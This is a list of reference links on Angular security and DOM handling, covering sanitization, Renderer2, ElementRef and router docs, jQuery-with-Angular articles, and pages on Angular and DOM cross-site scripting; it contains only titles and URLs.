* [Sanitization and security contexts](https://angular.io/guide/security#sanitization-and-security-contexts)
* [GitHub - angular/dom\_security\_schema.ts](https://github.com/angular/angular/blob/main/packages/compiler/src/schema/dom\_security\_schema.ts)
* [XSS in Angular and AngularJS](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/XSS%20in%20Angular.md)
* [Angular Universal](https://angular.io/guide/universal)
* [DOM XSS](https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/dom-xss)
* [Angular ElementRef](https://angular.io/api/core/ElementRef)
* [Angular Renderer2](https://angular.io/api/core/Renderer2)
* [Renderer2 Example: Manipulating DOM in Angular - TekTutorialsHub](https://www.tektutorialshub.com/angular/renderer2-angular/)
* [jQuery API Documentation](http://api.jquery.com/)
* [How To Use jQuery With Angular (When You Absolutely Have To)](https://blog.bitsrc.io/how-to-use-jquery-with-angular-when-you-absolutely-have-to-42c8b6a37ff9)
* [Angular Document](https://angular.io/api/common/DOCUMENT)
* [Angular Location](https://angular.io/api/common/Location)
* [Angular Router](https://angular.io/api/router/Router)